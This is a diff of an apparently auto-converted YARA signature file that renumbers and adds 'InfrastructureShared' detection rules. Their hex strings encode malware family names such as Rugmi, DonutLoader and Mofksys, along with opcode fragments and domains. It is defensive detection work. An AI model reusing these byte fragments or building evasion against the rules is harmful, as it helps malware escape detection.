((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5577{ +rule _InfrastructureShared_5830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57798,7 +60407,7 @@ rule _InfrastructureShared_5577{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5578{ +rule _InfrastructureShared_5831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57809,7 +60418,7 @@ rule _InfrastructureShared_5578{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5579{ +rule _InfrastructureShared_5832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -57820,33 +60429,34 @@ rule _InfrastructureShared_5579{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5580{ +rule _InfrastructureShared_5833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 2f 42 69 67 57 6f 6c 66 2e 41 21 52 41 54 00 01 00 0c 01 78 78 78 2e 33 33 32 32 2e 6f 72 67 01 00 06 01 4c 6f 67 69 6f 6e 01 00 09 01 32 31 78 74 77 2e 63 6f 6d 01 00 09 01 61 } //16675 $a_6e_1 = {37 35 38 00 00 78 62 00 00 03 00 03 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 66 65 72 72 65 72 2e 41 00 01 00 0c 01 8b 44 24 08 8b 00 8b 88 90 00 00 00 01 00 0d 01 8b 44 24 08 8b 40 10 8b 80 90 00 00 00 01 00 06 01 3d e9 00 00 00 74 01 00 07 01 81 fa c2 00 00 00 74 01 00 06 01 3d c3 00 00 00 75 } //28004 - $a_62_2 = {00 04 00 04 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 45 4d 21 4d 54 42 00 04 00 2b 01 8b 45 94 03 45 b0 89 85 68 ff ff ff 8b 8d 68 ff ff ff 8b 11 33 95 2c ff ff ff 8b 85 68 ff ff ff 89 10 8b 4d b0 83 c1 04 89 4d b0 00 00 78 62 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 } //0 - $a_69_3 = {33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 33 35 00 02 00 0e 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 65 78 65 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 00 00 78 62 00 00 04 00 04 00 04 00 21 } //14949 + $a_62_2 = {00 04 00 04 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 45 4d 21 4d 54 42 00 04 00 2b 01 8b 45 94 03 45 b0 89 85 68 ff ff ff 8b 8d 68 ff ff ff 8b 11 33 95 2c ff ff ff 8b 85 68 ff ff ff 89 10 8b 4d b0 83 c1 04 89 4d b0 00 00 78 62 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 44 6c } //0 + $a_61_3 = {65 72 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 2e 61 77 36 32 00 02 00 0e 80 01 70 69 2e 6e 68 73 31 66 39 67 2e 63 6f 6d 01 00 0b 80 01 6f 66 66 65 72 53 74 72 75 63 74 01 00 0b 80 01 61 66 78 77 69 6e 32 2e 69 6e 6c 00 00 78 62 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 } //24909 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28004+(#a_62_2 & 1)*0+(#a_69_3 & 1)*14949) >=3 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28004+(#a_62_2 & 1)*0+(#a_61_3 & 1)*24909) >=3 } -rule _InfrastructureShared_5581{ +rule _InfrastructureShared_5834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_6f_0 = {61 6e 3a 57 69 6e 33 32 2f 52 65 66 65 72 72 65 72 2e 41 00 01 00 0c 01 8b 44 24 08 8b 00 8b 88 90 00 00 00 01 00 0d 01 8b 44 24 08 8b 40 10 8b 80 90 00 00 00 01 00 06 01 3d e9 00 00 00 74 01 00 07 01 81 fa c2 00 00 00 74 01 00 06 01 3d c3 00 00 00 75 00 00 78 62 00 00 04 00 04 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c } //21539 - $a_65_1 = {3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 45 4d 21 4d 54 42 00 04 00 2b 01 8b 45 94 03 45 b0 89 85 68 ff ff ff 8b 8d 68 ff ff ff 8b 11 33 95 2c ff ff ff 8b 85 68 ff ff ff 89 10 8b 4d b0 83 c1 04 89 4d b0 00 00 78 62 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 } //24943 - $a_61_2 = {65 2e 61 77 33 35 00 02 00 0e 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 65 78 65 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 00 00 78 62 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 } //25697 - $a_76_4 = {6c 47 61 6d 69 6e 67 2e 78 70 74 01 00 0e 01 6d 69 74 65 78 5f 63 66 67 5f 74 72 63 69 01 00 09 01 6d 69 6e 67 2e 63 6f 6d 00 01 00 0b 01 2e 66 75 73 69 6f 6e 6c 6f 61 64 00 00 78 62 00 00 04 00 04 00 04 00 21 23 44 6c 6c 74 6f 53 63 72 69 70 74 41 53 50 58 00 01 00 04 01 61 73 70 78 01 00 08 01 65 00 76 00 61 00 } //20993 + $a_65_1 = {3a 57 69 6e 33 32 2f 52 75 67 6d 69 2e 45 4d 21 4d 54 42 00 04 00 2b 01 8b 45 94 03 45 b0 89 85 68 ff ff ff 8b 8d 68 ff ff ff 8b 11 33 95 2c ff ff ff 8b 85 68 ff ff ff 89 10 8b 4d b0 83 c1 04 89 4d b0 00 00 78 62 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 } //24943 + $a_2f_2 = {6f 66 74 50 75 6c 73 2e 61 77 36 32 00 02 00 0e 80 01 70 69 2e 6e 68 73 31 66 39 67 2e 63 6f 6d 01 00 0b 80 01 6f 66 66 65 72 53 74 72 75 63 74 01 00 } //13166 + $a_61_3 = {78 } //-32757 x + $a_32_4 = {69 6e 6c 00 00 78 62 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0f 01 52 69 76 61 6c 47 61 6d 69 6e 67 2e 78 70 74 01 00 0e 01 6d 69 74 65 78 5f 63 66 67 5f 74 72 63 69 01 00 09 01 6d 69 6e 67 2e 63 6f 6d 00 01 00 0b 01 2e 66 75 73 69 6f 6e 6c 6f 61 64 00 00 78 62 00 } //26999 condition: - ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*24943+(#a_61_2 & 1)*25697+(#a_76_4 & 1)*20993) >=3 + ((#a_6f_0 & 1)*21539+(#a_65_1 & 1)*24943+(#a_2f_2 & 1)*13166+(#a_61_3 & 1)*-32757+(#a_32_4 & 1)*26999) >=3 } -rule _InfrastructureShared_5582{ +rule _InfrastructureShared_5835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -57856,19 +60466,18 @@ rule _InfrastructureShared_5582{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_5583{ +rule _InfrastructureShared_5836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : - $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 33 35 00 02 00 0e 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 2e 65 78 65 01 00 0e 80 01 77 69 6e 64 6f 77 } //16675 - $a_62_1 = {70 68 70 00 00 78 62 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0f 01 52 69 76 61 6c 47 61 6d 69 6e 67 2e 78 70 74 01 00 0e 01 6d 69 74 65 78 5f 63 66 67 5f 74 72 63 69 01 00 09 01 6d 69 6e 67 2e 63 6f 6d 00 01 00 0b 01 2e 66 75 } //29811 - $a_6e_2 = {6f 61 64 00 00 78 62 00 00 04 00 04 00 04 00 21 23 44 6c 6c 74 6f 53 63 72 69 70 74 41 53 50 58 00 01 00 04 01 61 73 70 78 01 00 08 01 65 00 76 00 61 00 6c 00 01 00 22 01 3c 00 40 00 20 00 50 00 61 00 67 00 65 00 20 00 4c 00 61 00 6e 00 67 00 75 00 61 00 67 00 65 00 3d 00 01 00 0a 01 29 00 3b 00 0d 00 0a 00 3e 00 00 00 78 62 00 00 } //26995 + $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 2e 61 77 36 32 00 02 00 0e 80 01 70 69 2e 6e 68 73 31 66 39 67 2e 63 6f 6d 01 00 0b 80 01 6f 66 66 65 72 53 74 72 75 63 74 01 00 0b 80 01 61 66 78 } //16675 + $a_32_1 = {69 6e 6c 00 00 78 62 00 00 04 00 04 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0f 01 52 69 76 61 6c 47 61 6d 69 6e 67 2e 78 70 74 01 00 0e 01 6d 69 74 65 78 5f 63 66 67 5f 74 72 63 69 01 00 09 01 6d 69 6e 67 2e 63 6f 6d 00 01 00 0b 01 2e 66 75 73 69 6f 6e 6c 6f 61 64 00 00 78 62 00 } //26999 condition: - ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*29811+(#a_6e_2 & 1)*26995) >=4 + ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*26999) >=4 } -rule _InfrastructureShared_5584{ +rule _InfrastructureShared_5837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -57880,7 +60489,7 @@ rule _InfrastructureShared_5584{ ((#a_77_0 & 1)*16675+(#a_53_1 & 1)*29804+(#a_51_2 & 1)*11892) >=4 } -rule _InfrastructureShared_5585{ +rule _InfrastructureShared_5838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -57893,7 +60502,7 @@ rule _InfrastructureShared_5585{ ((#a_6c_0 & 1)*17443+(#a_6f_1 & 1)*24910+(#a_4d_2 & 1)*17488+(#a_11_3 & 1)*11014) >=4 } -rule _InfrastructureShared_5586{ +rule _InfrastructureShared_5839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -57905,7 +60514,7 @@ rule _InfrastructureShared_5586{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0+(#a_46_3 & 1)*16675) >=4 } -rule _InfrastructureShared_5587{ +rule _InfrastructureShared_5840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -57915,7 +60524,27 @@ rule _InfrastructureShared_5587{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_5588{ +rule _InfrastructureShared_5841{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 74 65 73 6c 61 2e 50 47 41 43 21 4d 54 42 00 05 00 30 03 16 13 05 73 90 01 01 00 00 0a 13 06 07 90 01 02 00 00 01 08 90 01 02 00 00 1b 20 00 b0 00 00 23 cd } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_5842{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 6e 75 74 4c 6f 61 64 65 72 2e 43 43 4a 59 21 4d 54 42 00 06 00 2e 03 8b 55 08 8b 45 f4 01 d0 0f b6 00 8d 48 ff 8b 55 08 8b 45 f4 01 d0 89 ca 88 10 83 45 f4 01 8b } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=6 + +} +rule _InfrastructureShared_5843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -57926,7 +60555,7 @@ rule _InfrastructureShared_5588{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31090) >=6 } -rule _InfrastructureShared_5589{ +rule _InfrastructureShared_5844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -57937,7 +60566,7 @@ rule _InfrastructureShared_5589{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144) >=6 } -rule _InfrastructureShared_5590{ +rule _InfrastructureShared_5845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -57948,7 +60577,18 @@ rule _InfrastructureShared_5590{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=6 } -rule _InfrastructureShared_5591{ +rule _InfrastructureShared_5846{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 4d 6f 66 6b 73 79 73 2e 45 4e 00 02 00 08 81 01 2e 74 68 65 6d 69 64 61 02 00 18 81 01 45 56 45 4e 54 5f 53 49 4e 4b 5f 47 65 74 49 44 73 4f 66 4e 61 6d 65 73 02 00 0e 81 01 54 4a 70 72 6f 6a 4d 61 69 6e 2e 65 78 } //18467 + $a_00_2 = {06 00 03 00 21 23 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=6 + +} +rule _InfrastructureShared_5847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -57960,7 +60600,7 @@ rule _InfrastructureShared_5591{ ((#a_77_0 & 1)*19491+(#a_41_1 & 1)*19529+(#a_78_2 & 1)*26161) >=6 } -rule _InfrastructureShared_5592{ +rule _InfrastructureShared_5848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -57971,7 +60611,7 @@ rule _InfrastructureShared_5592{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*12647) >=7 } -rule _InfrastructureShared_5593{ +rule _InfrastructureShared_5849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -57983,7 +60623,7 @@ rule _InfrastructureShared_5593{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25441+(#a_48_2 & 1)*8448) >=7 } -rule _InfrastructureShared_5594{ +rule _InfrastructureShared_5850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -57993,7 +60633,7 @@ rule _InfrastructureShared_5594{ ((#a_6c_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5595{ +rule _InfrastructureShared_5851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -58003,7 +60643,17 @@ rule _InfrastructureShared_5595{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5596{ +rule _InfrastructureShared_5852{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 50 47 41 31 21 4d 54 42 00 0a 00 34 01 47 65 6e 65 72 61 74 65 64 3a 20 32 30 32 35 2d 30 32 2d 31 35 20 31 37 3a 32 33 3a 33 35 0d 0a 41 75 74 68 6f 72 3a 20 44 65 65 70 61 6b 47 68 6f 73 65 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=10 + +} +rule _InfrastructureShared_5853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -58014,7 +60664,7 @@ rule _InfrastructureShared_5596{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=11 } -rule _InfrastructureShared_5597{ +rule _InfrastructureShared_5854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -58024,7 +60674,7 @@ rule _InfrastructureShared_5597{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_5598{ +rule _InfrastructureShared_5855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58034,7 +60684,7 @@ rule _InfrastructureShared_5598{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5599{ +rule _InfrastructureShared_5856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58044,7 +60694,7 @@ rule _InfrastructureShared_5599{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5600{ +rule _InfrastructureShared_5857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58054,7 +60704,7 @@ rule _InfrastructureShared_5600{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5601{ +rule _InfrastructureShared_5858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58064,7 +60714,7 @@ rule _InfrastructureShared_5601{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5602{ +rule _InfrastructureShared_5859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58074,7 +60724,7 @@ rule _InfrastructureShared_5602{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5603{ +rule _InfrastructureShared_5860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58084,7 +60734,7 @@ rule _InfrastructureShared_5603{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5604{ +rule _InfrastructureShared_5861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58094,7 +60744,7 @@ rule _InfrastructureShared_5604{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5605{ +rule _InfrastructureShared_5862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58104,7 +60754,7 @@ rule _InfrastructureShared_5605{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5606{ +rule _InfrastructureShared_5863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58114,7 +60764,7 @@ rule _InfrastructureShared_5606{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5607{ +rule _InfrastructureShared_5864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58124,7 +60774,7 @@ rule _InfrastructureShared_5607{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5608{ +rule _InfrastructureShared_5865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58134,7 +60784,7 @@ rule _InfrastructureShared_5608{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5609{ +rule _InfrastructureShared_5866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58144,7 +60794,7 @@ rule _InfrastructureShared_5609{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5610{ +rule _InfrastructureShared_5867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58154,7 +60804,7 @@ rule _InfrastructureShared_5610{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5611{ +rule _InfrastructureShared_5868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58164,7 +60814,7 @@ rule _InfrastructureShared_5611{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5612{ +rule _InfrastructureShared_5869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58174,7 +60824,7 @@ rule _InfrastructureShared_5612{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5613{ +rule _InfrastructureShared_5870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58184,7 +60834,7 @@ rule _InfrastructureShared_5613{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5614{ +rule _InfrastructureShared_5871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58194,7 +60844,7 @@ rule _InfrastructureShared_5614{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5615{ +rule _InfrastructureShared_5872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58204,7 +60854,7 @@ rule _InfrastructureShared_5615{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5616{ +rule _InfrastructureShared_5873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58214,7 +60864,7 @@ rule _InfrastructureShared_5616{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5617{ +rule _InfrastructureShared_5874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58224,7 +60874,7 @@ rule _InfrastructureShared_5617{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5618{ +rule _InfrastructureShared_5875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58234,7 +60884,7 @@ rule _InfrastructureShared_5618{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5619{ +rule _InfrastructureShared_5876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58244,7 +60894,7 @@ rule _InfrastructureShared_5619{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5620{ +rule _InfrastructureShared_5877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58254,7 +60904,7 @@ rule _InfrastructureShared_5620{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5621{ +rule _InfrastructureShared_5878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58264,7 +60914,7 @@ rule _InfrastructureShared_5621{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5622{ +rule _InfrastructureShared_5879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58274,7 +60924,7 @@ rule _InfrastructureShared_5622{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5623{ +rule _InfrastructureShared_5880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58284,7 +60934,7 @@ rule _InfrastructureShared_5623{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5624{ +rule _InfrastructureShared_5881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58294,7 +60944,7 @@ rule _InfrastructureShared_5624{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5625{ +rule _InfrastructureShared_5882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58304,7 +60954,7 @@ rule _InfrastructureShared_5625{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5626{ +rule _InfrastructureShared_5883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58314,7 +60964,7 @@ rule _InfrastructureShared_5626{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5627{ +rule _InfrastructureShared_5884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58324,7 +60974,7 @@ rule _InfrastructureShared_5627{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5628{ +rule _InfrastructureShared_5885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58334,7 +60984,7 @@ rule _InfrastructureShared_5628{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5629{ +rule _InfrastructureShared_5886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58344,7 +60994,7 @@ rule _InfrastructureShared_5629{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5630{ +rule _InfrastructureShared_5887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58354,7 +61004,7 @@ rule _InfrastructureShared_5630{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5631{ +rule _InfrastructureShared_5888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58364,7 +61014,7 @@ rule _InfrastructureShared_5631{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5632{ +rule _InfrastructureShared_5889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58374,7 +61024,7 @@ rule _InfrastructureShared_5632{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5633{ +rule _InfrastructureShared_5890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58384,7 +61034,7 @@ rule _InfrastructureShared_5633{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5634{ +rule _InfrastructureShared_5891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58394,7 +61044,7 @@ rule _InfrastructureShared_5634{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5635{ +rule _InfrastructureShared_5892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58404,7 +61054,7 @@ rule _InfrastructureShared_5635{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5636{ +rule _InfrastructureShared_5893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58414,7 +61064,7 @@ rule _InfrastructureShared_5636{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5637{ +rule _InfrastructureShared_5894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -58424,7 +61074,7 @@ rule _InfrastructureShared_5637{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5638{ +rule _InfrastructureShared_5895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ 